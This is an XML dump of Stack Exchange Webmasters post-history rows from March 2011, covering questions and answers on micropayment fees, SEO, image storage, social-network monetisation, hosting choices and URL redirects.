  <row Id="24124" PostHistoryTypeId="2" PostId="10748" RevisionGUID="21d497a8-c04b-4e7c-a709-b941197e0a6a" CreationDate="2011-03-16T11:48:16.290" UserId="1253" Text="The rates and fees you pay will depend on what service you choose which will be heavily influenced by what country you are in and what product/service you sell. If you're in the US and sell low risk items or service you can get rates as low as ~2.3% and .25 per transaction. If you're overseas and have a high risk product your rates can go as high as 16% of every transaction.&#xD;&#xA;&#xD;&#xA;It's hard to get more specific then that without knowing more information about what it is you are taking payments for.&#xD;&#xA; " />
  <row Id="24125" PostHistoryTypeId="5" PostId="10739" RevisionGUID="5c764885-13ef-4a04-babd-81d3393631e5" CreationDate="2011-03-16T11:52:00.637" UserId="5126" Comment="added 208 characters in body" Text="EDIT 1:&#xD;&#xA;&#xD;&#xA;It seems that paypals micropayment system is currently my best option to retaining as much of the $1 as possible.  Does anyone know of a way to retain even more of the $1?&#xD;&#xA;&#xD;&#xA;ORIGINAL QUESTION:&#xD;&#xA;&#xD;&#xA;I need to receive money from users from my webpage.  They will only pay very small amounts, i.e. $1 max, but the total will probably go upto $10,000.00.  What is the best way to receive this money from a webpage?  When I say &quot;the best way&quot;, i mean a method of getting the money from where I lose as little of it as possible in terms of fees for receiving the money." />
  <row Id="24126" PostHistoryTypeId="2" PostId="10749" RevisionGUID="5d404e46-a517-4006-9f26-b41eab67d0d2" CreationDate="2011-03-16T11:52:13.773" UserId="1253" Text="It's very okay to have the same keywords on ore then one page. It's very common and very natural. &#xD;&#xA;&#xD;&#xA;In your example you want to create pages for each individual product as this gives you the opportunity to get the important keywords (model number, UPC number, etc) into the `&lt;title&gt;` and `&lt;hx&gt;` tags which is a good thing for SEO. Not only se-friendly, but better for your users as it helps them focus on the product they are looking for. (Usability is a big part of SEO). " />
  <row Id="24127" PostHistoryTypeId="2" PostId="10750" RevisionGUID="820df166-fc42-409a-aeed-6ea97c64de28" CreationDate="2011-03-16T11:52:46.580" UserId="1363" Text="I agree with Piers.&#xD;&#xA;&#xD;&#xA;There are a few things you might be able to do to let Google know that the host is now reachable. Visit Google's website, and re-add the main URL's that are no longer appearing in Google, this'll let Google Bot know that you want these URL's to be indexed, or re-indexed. Note that performing this step does not guarantee any of those URL's will be indexed.&#xD;&#xA;&#xD;&#xA;Next, share some of your links. If Google can see that some of your links on other websites are being clicked on, and people are visiting your site from other websites, this should help boost your sites ranking a little.&#xD;&#xA;&#xD;&#xA;Apart from the obvious steps that anyone would need to take to get their site listed in Google, there's not much you can do except to wait." />
  <row Id="24128" PostHistoryTypeId="6" PostId="10732" RevisionGUID="3672fc32-2721-4daa-920d-b715576db35d" CreationDate="2011-03-16T11:52:48.063" UserId="1253" Comment="added seo tag" Text="&lt;seo&gt;&lt;google-search&gt;" />
  <row Id="24129" PostHistoryTypeId="2" PostId="10751" RevisionGUID="f136db2b-e5b9-4dd9-95d2-ea42265720f8" CreationDate="2011-03-16T11:53:48.547" UserId="6109" Text="I'm the webmaster for a small social network and have noticed that images are taking a big portion of the capacity available. These are mostly JPEGs.&#xD;&#xA;&#xD;&#xA;What solutions could I apply to reduce storage needs? Is there a way to reduce the size of images without affecting quality too much? Is there a service out there that could be used to store static files at a cheaper price (&lt; 1GB/0.04 eurocents)?" />
  <row Id="24130" PostHistoryTypeId="1" PostId="10751" RevisionGUID="f136db2b-e5b9-4dd9-95d2-ea42265720f8" CreationDate="2011-03-16T11:53:48.547" UserId="6109" Text="Ideas for reducing storage needs (lots of images)" />
  <row Id="24131" PostHistoryTypeId="3" PostId="10751" RevisionGUID="f136db2b-e5b9-4dd9-95d2-ea42265720f8" CreationDate="2011-03-16T11:53:48.547" UserId="6109" Text="&lt;images&gt;&lt;web&gt;&lt;storage&gt;" />
  <row Id="24135" PostHistoryTypeId="5" PostId="10748" RevisionGUID="8d2761fe-118c-4375-bf86-bd6a070a63fd" CreationDate="2011-03-16T11:59:55.543" UserId="1253" Comment="added 185 characters in body" Text="The rates and fees you pay will depend on what service you choose which will be heavily influenced by what country you are in and what product/service you sell. If you're in the US and sell low risk items or service you can get rates as low as ~2.3% and .25 per transaction. If you're overseas and have a high risk product your rates can go as high as 16% of every transaction.&#xD;&#xA;&#xD;&#xA;It's hard to get more specific then that without knowing more information about what it is you are taking payments for.&#xD;&#xA; &#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;Check out [Paypal Micropayments][1]. It's designed for low ticket purchases like yours.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.paypalobjects.com/IntegrationCenter/ic_micropayments.html" />
  <row Id="24136" PostHistoryTypeId="5" PostId="10749" RevisionGUID="e3feffa4-9860-4c4e-b582-b97fc80ef9c5" CreationDate="2011-03-16T12:15:32.217" UserId="1253" Comment="added 47 characters in body" Text="*Remember, search rank pages, not websites*&#xD;&#xA;&#xD;&#xA;It's very okay to have the same keywords on ore then one page. It's very common and very natural. &#xD;&#xA;&#xD;&#xA;In your example you want to create pages for each individual product as this gives you the opportunity to get the important keywords (model number, UPC number, etc) into the `&lt;title&gt;` and `&lt;hx&gt;` tags which is a good thing for SEO. Not only se-friendly, but better for your users as it helps them focus on the product they are looking for. (Usability is a big part of SEO). " />
  <row Id="24137" PostHistoryTypeId="2" PostId="10752" RevisionGUID="8003267e-fb23-4550-994f-e6ebf990322f" CreationDate="2011-03-16T12:15:57.457" UserId="6109" Text="This follows similar questions but I'd like to see if anything particular comes out of it due to the nature of site.&#xD;&#xA;&#xD;&#xA;In short, I've taken up the role of webmaster for a small social network site and wish to make it profitable to at least cover the running costs. The site is linked to a commerce and presents are offered to members according to the number of points they've accumulated through various actions.&#xD;&#xA;&#xD;&#xA;The site is running on shared hosting so it's probably dirt cheap but the presents can be expensive as a whole and some money has already been invested into the project.&#xD;&#xA;&#xD;&#xA;One idea I have is to seek some sponsors that would be willing to offer presents or special offers in return for publicity. I don't know if this will be easy or not? I'm also looking into adapting hosting to perhaps move static files to a cheaper online storage medium (see http://webmasters.stackexchange.com/questions/10751/ideas-for-reducing-storage-needs-lots-of-images)." />
  <row Id="24138" PostHistoryTypeId="1" PostId="10752" RevisionGUID="8003267e-fb23-4550-994f-e6ebf990322f" CreationDate="2011-03-16T12:15:57.457" UserId="6109" Text="Making profit from a social network" />
  <row Id="24139" PostHistoryTypeId="3" PostId="10752" RevisionGUID="8003267e-fb23-4550-994f-e6ebf990322f" CreationDate="2011-03-16T12:15:57.457" UserId="6109" Text="&lt;social-networks&gt;&lt;idea&gt;&lt;monetize&gt;" />
  <row Id="24140" PostHistoryTypeId="6" PostId="10751" RevisionGUID="35d9f280-08c2-4404-916c-44c865aa8b56" CreationDate="2011-03-16T12:17:08.113" UserId="1253" Comment="removed &quot;web &quot; tag" Text="&lt;images&gt;&lt;storage&gt;" />
  <row Id="24141" PostHistoryTypeId="2" PostId="10753" RevisionGUID="8672531f-a929-405b-9103-854d595a9064" CreationDate="2011-03-16T12:17:25.467" UserId="4142" Text="Depending on the beginning quality of the images, a little optimization can go a long way. For instance, Photoshop usually saves very large JPEG image files - and bringing the quality down a notch can save a good percentage of the file size without losing too much quality.&#xD;&#xA;&#xD;&#xA;A good way to start would be to run all of these images (after backing up the originals, of course) through a batch photo editor like [Phatch][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://photobatch.stani.be/download/index.html" />
  <row Id="24142" PostHistoryTypeId="5" PostId="10751" RevisionGUID="acaad578-3697-4a01-a2ce-49e4b34a61a3" CreationDate="2011-03-16T12:21:48.077" UserId="6109" Comment="added 49 characters in body; edited title" Text="I'm the webmaster for a small social network and have noticed that images uploaded by users are taking a big portion of the capacity available. These are mostly JPEGs.&#xD;&#xA;&#xD;&#xA;What solutions could I apply to reduce storage needs? Is there a way to reduce the size of images without affecting quality too much? Is there a service out there that could be used to store static files at a cheaper price (&lt; 1GB/0.04 eurocents)?&#xD;&#xA;&#xD;&#xA;Edit: Updated the question." />
  <row Id="24143" PostHistoryTypeId="5" PostId="10752" RevisionGUID="9034b48d-927f-4748-b395-2c604df6ae96" CreationDate="2011-03-16T12:23:15.873" UserId="6109" Comment="added 31 characters in body" Text="This follows similar questions but I'd like to see if anything particular comes out of it due to the nature of site.&#xD;&#xA;&#xD;&#xA;In short, I've taken up the role of webmaster for a small social network site and wish to make it profitable to at least cover the running costs. The site is linked to a commerce and presents are offered to members according to the number of points they've accumulated through various actions.&#xD;&#xA;&#xD;&#xA;The site is running on shared hosting so it's probably dirt cheap but the presents can be expensive as a whole and some money has already been invested into the project.&#xD;&#xA;&#xD;&#xA;One idea I have is to seek some sponsors that would be willing to offer presents or special offers in return for publicity. I don't know if this will be easy or not? I'm also looking into adapting hosting to perhaps move static files to a cheaper online storage medium (see http://webmasters.stackexchange.com/questions/10751/ideas-for-reducing-storage-needs-lots-of-images). Other suggestions are welcome." />
  <row Id="24144" PostHistoryTypeId="4" PostId="10751" RevisionGUID="acaad578-3697-4a01-a2ce-49e4b34a61a3" CreationDate="2011-03-16T12:21:48.077" UserId="6109" Comment="added 49 characters in body; edited title" Text="Ideas for reducing storage needs and/or costs (lots of images)" />
  <row Id="24145" PostHistoryTypeId="2" PostId="10754" RevisionGUID="1178cb93-13d9-4fba-9167-ab9012de0521" CreationDate="2011-03-16T12:49:42.347" UserId="1064" Text="How about a free web application that actually works?&#xD;&#xA;&#xD;&#xA;[Google Webmaster Tools][1] provides ranking data (which you can search and even export if you like) - it's likely to be far more accurate, given that Google [implemented][2] [personalized search][3] in 2009 and the results a rank-checking app provides [in violation of the Google T&amp;CoS][4] will likely be inaccurate anyway:&#xD;&#xA;&#xD;&#xA;&gt; Don't use unauthorized computer&#xD;&#xA;&gt; programs to submit pages, check&#xD;&#xA;&gt; rankings, etc. Such programs consume&#xD;&#xA;&gt; computing resources and violate our&#xD;&#xA;&gt; Terms of Service. Google does not&#xD;&#xA;&gt; recommend the use of products such as&#xD;&#xA;&gt; WebPosition Gold™ that send automatic&#xD;&#xA;&gt; or programmatic queries to Google.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/&#xD;&#xA;  [2]: http://googleblog.blogspot.com/2009/12/personalized-search-for-everyone.html&#xD;&#xA;  [3]: http://www.google.com/support/accounts/bin/answer.py?answer=54041&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769" />
  <row Id="24146" PostHistoryTypeId="2" PostId="10755" RevisionGUID="c13a636e-97c5-4528-9fd4-54fec619a5d3" CreationDate="2011-03-16T13:01:29.377" UserId="5026" Text="Is it a complicated process to build a site like padmapper.com?&#xD;&#xA;&#xD;&#xA;I am interested in producing a regional equivalent for Australia." />
  <row Id="24147" PostHistoryTypeId="1" PostId="10755" RevisionGUID="c13a636e-97c5-4528-9fd4-54fec619a5d3" CreationDate="2011-03-16T13:01:29.377" UserId="5026" Text="building a site like padmapper" />
  <row Id="24148" PostHistoryTypeId="3" PostId="10755" RevisionGUID="c13a636e-97c5-4528-9fd4-54fec619a5d3" CreationDate="2011-03-16T13:01:29.377" UserId="5026" Text="&lt;map&gt;" />
  <row Id="24149" PostHistoryTypeId="2" PostId="10756" RevisionGUID="1460c350-083b-41cc-aa82-a04852c32ec5" CreationDate="2011-03-16T11:34:58.747" UserDisplayName="fterh" Text="For example, currently, I understand that search engines give the most emphasis to `h1` elements, followed by `h2`, etc. However, it is valid in HTML5 to replace what is conventionally `h2` with `h1`, encased in `article` tags.&#xD;&#xA;&#xD;&#xA;But are search engines such as Google updated to become &quot;HTML5 friendly&quot;? Or will my site somehow be penalized by some algorithm for &quot;`h1`ing incorrectly&quot;? " />
  <row Id="24150" PostHistoryTypeId="1" PostId="10756" RevisionGUID="1460c350-083b-41cc-aa82-a04852c32ec5" CreationDate="2011-03-16T11:34:58.747" UserDisplayName="fterh" Text="Will HTML5 adoption render my site search engine unoptimized?" />
  <row Id="24151" PostHistoryTypeId="3" PostId="10756" RevisionGUID="1460c350-083b-41cc-aa82-a04852c32ec5" CreationDate="2011-03-16T11:34:58.747" UserDisplayName="fterh" Text="&lt;html5&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="24152" PostHistoryTypeId="17" PostId="10756" RevisionGUID="0ccaf898-8e34-4e3c-837b-dad329d326c0" CreationDate="2011-03-16T13:16:42.933" UserId="-1" Comment="from http://stackoverflow.com/questions/5324655/will-html5-adoption-render-my-site-search-engine-unoptimized" Text="" />
  <row Id="24153" PostHistoryTypeId="5" PostId="10752" RevisionGUID="3d6dc277-bd03-46c6-98b3-f0130c03cf01" CreationDate="2011-03-16T13:19:25.927" UserId="6109" Comment="edited body" Text="This follows similar questions but I'd like to see if anything particular comes out of it due to the nature of site.&#xD;&#xA;&#xD;&#xA;In short, I've taken up the role of webmaster for a small social network site and wish to make it profitable to at least cover the running costs. The site is linked to a commerce and presents are offered to members according to the number of points they've accumulated through various actions.&#xD;&#xA;&#xD;&#xA;The site is running on shared hosting so it's probably dirt cheap but the presents can be expensive as a whole and some money has already been invested into the project.&#xD;&#xA;&#xD;&#xA;One idea I have is to seek some sponsors that would be willing to offer presents or special offers in return for publicity. I don't know if this will be easy or not. I'm also looking into adapting hosting to perhaps move static files to a cheaper online storage medium (see http://webmasters.stackexchange.com/questions/10751/ideas-for-reducing-storage-needs-lots-of-images). Other suggestions are welcome." />
  <row Id="24154" PostHistoryTypeId="2" PostId="10757" RevisionGUID="bf1693d0-6a01-4aee-a262-94382c835c92" CreationDate="2011-03-16T13:23:03.437" UserId="1588" Text="We have a client with a facebook page, let's say his company is called  **Bob Roberts Super Widgets**. And if you search in Facebook for Bob Roberts Super Widgets then up he pops.&#xD;&#xA;&#xD;&#xA;But the shorthand he's commonly known by is **BR Super Widgets** and indeed the website we've created for him is br-super-widgets.com. &#xD;&#xA;&#xD;&#xA;In Facebook, searching for BR Super Widgets doesn't show up our Mr Bob. We don't have a lot of Facebook expertise, so asking for help here. Does anyone know how to ensure you're found in Facebook search for both short and long company names?&#xD;&#xA;&#xD;&#xA;Have found this [this similar question][1] in the Facebook forum but the poor old questioner never got a response. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/topic.php?uid=42328360008&amp;topic=19406" />
  <row Id="24155" PostHistoryTypeId="1" PostId="10757" RevisionGUID="bf1693d0-6a01-4aee-a262-94382c835c92" CreationDate="2011-03-16T13:23:03.437" UserId="1588" Text="Ensure we're found in Facebook search for both full &amp; abbreviated company names?" />
  <row Id="24156" PostHistoryTypeId="3" PostId="10757" RevisionGUID="bf1693d0-6a01-4aee-a262-94382c835c92" CreationDate="2011-03-16T13:23:03.437" UserId="1588" Text="&lt;facebook&gt;&lt;search&gt;" />
  <row Id="24157" PostHistoryTypeId="2" PostId="10758" RevisionGUID="e9a3fdce-52f3-4be1-8d69-43bba7a112cb" CreationDate="2011-03-14T05:53:14.900" UserDisplayName="Ayyappan.Anbalagan" Text="I have configured the alternate access for my sharepoint site using the server IP address.&#xD;&#xA;&#xD;&#xA;I need to use the server path as ip address in the search content source&#xD;&#xA;(http;10.104.55.333:100) instead (http://server:100). &#xD;&#xA;&#xD;&#xA;What are all the configuration i need to do?&#xD;&#xA;I tried to use the IP address in the content source but it give the error.&#xD;&#xA;" />
  <row Id="24158" PostHistoryTypeId="1" PostId="10758" RevisionGUID="e9a3fdce-52f3-4be1-8d69-43bba7a112cb" CreationDate="2011-03-14T05:53:14.900" UserDisplayName="Ayyappan.Anbalagan" Text="how to use ip address in the search content source?" />
  <row Id="24159" PostHistoryTypeId="3" PostId="10758" RevisionGUID="e9a3fdce-52f3-4be1-8d69-43bba7a112cb" CreationDate="2011-03-14T05:53:14.900" UserDisplayName="Ayyappan.Anbalagan" Text="&lt;sharepoint&gt;&lt;search&gt;&lt;content&gt;&lt;crawling&gt;" />
  <row Id="24160" PostHistoryTypeId="17" PostId="10758" RevisionGUID="269bf5e6-231d-4a60-a97e-73a026224296" CreationDate="2011-03-16T13:30:59.620" UserId="-1" Comment="from http://stackoverflow.com/questions/5295228/how-to-use-ip-address-in-the-search-content-source" Text="" />
  <row Id="24161" PostHistoryTypeId="2" PostId="10759" RevisionGUID="85f24e2b-0460-491a-871d-c9a17a6333a4" CreationDate="2011-03-16T14:17:14.313" UserId="1253" Text="The HTML specs say that user agents that don't understand an HTML tag are to ignore it. Assuming that search engine bots follow this spec, and they do, then using HTML5 tags that aren't yet recognized by the search engines are ignored and shouldn't hurt your rankings.&#xD;&#xA;&#xD;&#xA;In your example the `&lt;h1&gt;` tag is not being used incorrectly. It just is wrapped in a new tag that may or may not be recognized by the search engines. But that won't hurt you as that tag simply has no semantic meaning for now. But when it does you're rankings may benefit because of the increased semantic meaning. So use it without worry and with the expectations that in the future this will help you.&#xD;&#xA;&#xD;&#xA;(One possible exception is the proposed multiple heading tag thing where you are allowed to have multiple `&lt;h1&gt;` tags on a page. I'd avoid this for now since that could cause issues as doing this previously could only be construed as an error in markup or manipulation of the SERPs. Obviously that may change)." />
  <row Id="24162" PostHistoryTypeId="25" PostId="10756" RevisionGUID="62b987b5-5a6c-48bf-b88a-4413dbd88995" CreationDate="2011-03-16T14:30:20.797" Comment="http://twitter.com/#!/StackWebmasters/status/48028329470730240" />
  <row Id="24163" PostHistoryTypeId="2" PostId="10760" RevisionGUID="4ce51600-abac-42bf-b9bf-5bf58f05c920" CreationDate="2011-03-16T14:37:36.703" UserId="5849" Text="The two keys to being found on Facebook are:&#xD;&#xA;&#xD;&#xA; - Optimizing the page (especially the page title)&#xD;&#xA; - Getting Followers&#xD;&#xA;&#xD;&#xA;Be sure that your page says both versions of the company name multiple times and them suggest your page to people who have an interest in your niche and company. &#xD;&#xA;&#xD;&#xA;Are you showing up for the long version of the page?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24164" PostHistoryTypeId="2" PostId="10761" RevisionGUID="ab437ed5-5132-44ad-9a25-24d9a401ff29" CreationDate="2011-03-16T14:43:33.343" UserId="5849" Text="I really depends on your level of programming knowledge. Padmapper is build around the Google Maps API accessed with PHP. As someone who has been building website for a while now, I don't think a site like this would be super hard to do. (I'd personally use Django + Geo-Django for the backend). &#xD;&#xA;&#xD;&#xA;But if you are a beginning programmer using this as a learning project, it would probably be a bit difficult to do since the Google API can be hard to understand for beginning programmers. &#xD;&#xA;&#xD;&#xA;So is it complicated to do? No, if you know what you are doing. " />
  <row Id="24165" PostHistoryTypeId="2" PostId="10762" RevisionGUID="a64603be-bfe1-461b-aee6-b8531e87c56d" CreationDate="2011-03-16T14:47:30.610" UserId="5849" Text="Your ability to get sponsors will depend largely on how many people are currently using the site. Sponsors don't sponsor things with low traffic (usually). But if you have a decent amount of traffic, then this could be a good way to do it. &#xD;&#xA;&#xD;&#xA;Also, do you currently have ads on the site? Ads can be a good way monetize a site like that. &#xD;&#xA;&#xD;&#xA;I'd have a look at Facebook and see that various ways they are making money and see if any of them work for you. " />
  <row Id="24166" PostHistoryTypeId="2" PostId="10763" RevisionGUID="8f51ed9b-6f43-4df7-bbf3-0c4bc1c20fad" CreationDate="2011-03-16T14:52:23.600" UserId="5849" Text="I have found that 1and1 continue to have the cheapest domain names. And they have automatic renewal which is very good for someone buying domains in bulk. They have a very easy to use system. &#xD;&#xA;&#xD;&#xA;As for hosting, you really can't beat Webfaction. They are affordable and flexible and super super easy to use (especially if you are hosting multiple sites). &#xD;&#xA;&#xD;&#xA;I've used a bunch of different hosts and registars and those two are hard to beat. &#xD;&#xA;&#xD;&#xA;Godaddy and Hostgator are super popular, but I beleive that is because they offer amazing affiliate deals - not because they have a good product. I've used both on clients sites and they are frustratingly slow and difficult to use compared to my 1and1 and webfaction setup. " />
  <row Id="24167" PostHistoryTypeId="2" PostId="10764" RevisionGUID="58a42234-5c13-4ebe-b043-bd26909d414c" CreationDate="2011-03-16T15:03:17.313" UserId="2739" Text="I have used [UK Web Solutions Direct][1] for years and have never had any problems.  They are reliable and not too expensive.&#xD;&#xA;&#xD;&#xA;On the flip side, I have used [easyspace][2] once and they were expensive, difficult to use and with extremely poor customer service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ukwebsolutionsdirect.co.uk&#xD;&#xA;  [2]: http://blog.ajcw.com/2011/01/easyspace-easy-theft/" />
  <row Id="24168" PostHistoryTypeId="5" PostId="10746" RevisionGUID="2cc5bae7-a05a-43b9-84a3-d95580efdcc1" CreationDate="2011-03-16T15:06:15.280" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Who is a great domain registrar company?](http://webmasters.stackexchange.com/questions/9/who-is-a-great-domain-registrar-company)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi, I'm about to make my first domain purchase, actually I'm going to buy in bulk ...&#xD;&#xA;&#xD;&#xA;Any idea about a good host and registrar? I`m looking for a good host with lots of features and not expensive." />
  <row Id="24169" PostHistoryTypeId="10" PostId="10746" RevisionGUID="2fc645ab-19d3-4b6e-8ff7-b25188f8c045" CreationDate="2011-03-16T15:06:15.157" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24170" PostHistoryTypeId="2" PostId="10765" RevisionGUID="06ca8406-36f3-42c0-8469-771d6c0317d2" CreationDate="2011-03-16T15:50:50.977" UserId="5739" Text="There are many options available for resizing images on the fly and there is even a PHP Image Resizer class specifically for this.&#xD;&#xA;&#xD;&#xA;[Netuts][1] have a nice tutorial on this&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://net.tutsplus.com/tutorials/php/image-resizing-made-easy-with-php/" />
  <row Id="24171" PostHistoryTypeId="2" PostId="10766" RevisionGUID="471cf9cd-506d-4342-82eb-636a81008abb" CreationDate="2011-03-16T16:02:50.297" UserId="6126" Text="Do search engines index, crawl, and display content that is shown only to certain users via php?&#xD;&#xA;&#xD;&#xA;For example, I have a page which looks like this:&#xD;&#xA;&#xD;&#xA;some content1&#xD;&#xA;&#xD;&#xA;*php if user is x user*&#xD;&#xA;&#xD;&#xA;some content2 for user x&#xD;&#xA;&#xD;&#xA;*php if user is y user*&#xD;&#xA;&#xD;&#xA;different content3.&#xD;&#xA;&#xD;&#xA;So, would the search engines consider the keywords/links/seo of all three types of content or just that displayed to all users?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="24172" PostHistoryTypeId="1" PostId="10766" RevisionGUID="471cf9cd-506d-4342-82eb-636a81008abb" CreationDate="2011-03-16T16:02:50.297" UserId="6126" Text="SEO for different content displayed via PHP" />
  <row Id="24173" PostHistoryTypeId="3" PostId="10766" RevisionGUID="471cf9cd-506d-4342-82eb-636a81008abb" CreationDate="2011-03-16T16:02:50.297" UserId="6126" Text="&lt;seo&gt;&lt;php&gt;" />
  <row Id="24174" PostHistoryTypeId="2" PostId="10767" RevisionGUID="bae3f735-478c-4455-9500-396e45c00cba" CreationDate="2011-03-16T16:06:48.420" UserId="1253" Text="They would see the stuff served to all users. They don't login or have accounts so any customized information will not be shown to them and thus they'll never see it or index it." />
  <row Id="24175" PostHistoryTypeId="2" PostId="10768" RevisionGUID="76aebe1f-27db-424e-8741-8a5fe80a315d" CreationDate="2011-03-16T16:13:14.373" UserId="5739" Text="One of the most important issues for me is support.&#xD;&#xA;&#xD;&#xA;What I used to do before becoming a host myself was email or phone a companies tech support with a question and see how long it took to be answered. IF the sales telephone gets picked up straight away but support rings off... walk away.&#xD;&#xA;&#xD;&#xA;If they were too slow they got crossed off the list.&#xD;&#xA;&#xD;&#xA;**Other things to look out for are** &#xD;&#xA;&#xD;&#xA;Do they offer a fully featured control panel ie CPanel. &#xD;&#xA;&#xD;&#xA;Subdomains&#xD;&#xA;&#xD;&#xA;private directories&#xD;&#xA;&#xD;&#xA;mailing lists &#xD;&#xA;&#xD;&#xA;can you easily have extra Perl or PHP modules added&#xD;&#xA;&#xD;&#xA;Do they offer one click software installs like Softalicious.&#xD;&#xA;&#xD;&#xA;Do they give you shell access for testing scripts&#xD;&#xA;&#xD;&#xA;what about backups, do they provide them, are their costs for restores.&#xD;&#xA; &#xD;&#xA;What is their SLA with regards to downtime.&#xD;&#xA;&#xD;&#xA;What are their downtime stats.&#xD;&#xA;&#xD;&#xA;What are their policies on overuse? Would they sting you or be fair about it&#xD;&#xA;&#xD;&#xA;Do they offer email spam protection&#xD;&#xA;&#xD;&#xA;Visitor logs/stats&#xD;&#xA;&#xD;&#xA;Is there a DNS editor?&#xD;&#xA;&#xD;&#xA;Custom 404 pages&#xD;&#xA;&#xD;&#xA;Databases... how many what type &#xD;&#xA;&#xD;&#xA;Do you have phpMyAdmin etc&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24176" PostHistoryTypeId="25" PostId="10766" RevisionGUID="ea73cef0-799d-464b-b725-ae4749de95cb" CreationDate="2011-03-16T17:30:21.157" Comment="http://twitter.com/#!/StackWebmasters/status/48073629598093312" />
  <row Id="24177" PostHistoryTypeId="2" PostId="10769" RevisionGUID="da713eb9-59ae-40b7-8151-3f705754c06a" CreationDate="2011-03-16T18:12:32.460" UserId="-1" Text="" />
  <row Id="24178" PostHistoryTypeId="2" PostId="10770" RevisionGUID="19e7090f-45b4-4934-ac1d-466e79ff5401" CreationDate="2011-03-16T18:12:32.460" UserId="-1" Text="" />
  <row Id="24179" PostHistoryTypeId="2" PostId="10771" RevisionGUID="5f957ec4-d37f-4391-a5c9-9f5f1787ed12" CreationDate="2011-03-16T18:22:13.763" UserId="4142" Text="Depending on the type of social network you're running, I think an affiliate program with another retailer might be a good way to get some revenue without holding your users hostage, or assaulting them with advertising.&#xD;&#xA;&#xD;&#xA;For instance, say you were running a social network for car enthusiasts. If they had a way to list custom parts they've added to their cars, you could link that list to an auto parts retailer with an affiliate program.&#xD;&#xA;&#xD;&#xA;This would not only give you a share of any car parts that were purchased by users of your site, but would provide your users with a link that provides further information about those parts, via the retailer.&#xD;&#xA;&#xD;&#xA;If your audience doesn't lend themselves to something niche like the suggestion above, you could try something a bit broader with [Amazon's affiliate program][1] and a &quot;Currently Reading/Watching/Listening&quot; feature.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://affiliate-program.amazon.com/" />
  <row Id="24180" PostHistoryTypeId="2" PostId="10772" RevisionGUID="981915f4-b542-4017-82a3-f70409669903" CreationDate="2011-03-16T18:24:22.990" UserId="6128" Text="Trying to find a _Managed VPS Hosting Solution_ for a LAMP Web Application. &#xD;&#xA;&#xD;&#xA;* The more CPU, RAM, and Disk space the better&#xD;&#xA;* Don't need a huge amount of bandwidth for now&#xD;&#xA;* Would like to be able to easily grow into a stronger server&#xD;&#xA;* Have really responsive, dedicated, smart support staff -- our current hosting is just terrible&#xD;&#xA;&#xD;&#xA;My main problem is that I can't even find a non-biased website out there that does a proper comparison of VPS Hosting providers. Can anybody either suggest a reviews/ranking site or a hosting with proven record? &#xD;&#xA;&#xD;&#xA;How would _you_ go about finding the best hosting service? &#xD;&#xA;&#xD;&#xA;Thanks a lot!&#xD;&#xA;&#xD;&#xA;Ali" />
  <row Id="24181" PostHistoryTypeId="1" PostId="10772" RevisionGUID="981915f4-b542-4017-82a3-f70409669903" CreationDate="2011-03-16T18:24:22.990" UserId="6128" Text="Looking for VPS Hosting for a LAMP Web Application" />
  <row Id="24182" PostHistoryTypeId="3" PostId="10772" RevisionGUID="981915f4-b542-4017-82a3-f70409669903" CreationDate="2011-03-16T18:24:22.990" UserId="6128" Text="&lt;web-hosting&gt;&lt;vps&gt;&lt;lamp&gt;" />
  <row Id="24184" PostHistoryTypeId="5" PostId="10603" RevisionGUID="6f97b015-4765-4a32-adb1-1f61680e4320" CreationDate="2011-03-16T18:27:32.853" UserId="4142" Comment="Rephrased question to make it a bit easier to understand" Text="I have a link that's currently formatted like this:&#xD;&#xA;&#xD;&#xA;    http://site.com/news/view/1.html&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;I want to it redirect it to:&#xD;&#xA;&#xD;&#xA;    http://site.com/خبر/عنوان-الخبر&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Where خبر is equal to &quot;news&quot;, and &quot;عنوان-الخبر&quot; is the title of the news page.&#xD;&#xA;&#xD;&#xA;I want do it using .htaccess, and provide a permanent 301 redirect for the old URLs.&#xD;&#xA;&#xD;&#xA;Do I need to edit the PHP source at all to accomplish this?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA; " />
  <row Id="24185" PostHistoryTypeId="4" PostId="10603" RevisionGUID="6f97b015-4765-4a32-adb1-1f61680e4320" CreationDate="2011-03-16T18:27:32.853" UserId="4142" Comment="Rephrased question to make it a bit easier to understand" Text="How do I redirect an english language URL to an arabic language URL?" />
  <row Id="24186" PostHistoryTypeId="24" PostId="10603" RevisionGUID="6f97b015-4765-4a32-adb1-1f61680e4320" CreationDate="2011-03-16T18:27:32.853" Comment="Proposed by 4142 approved by -1 edit id of 69" />
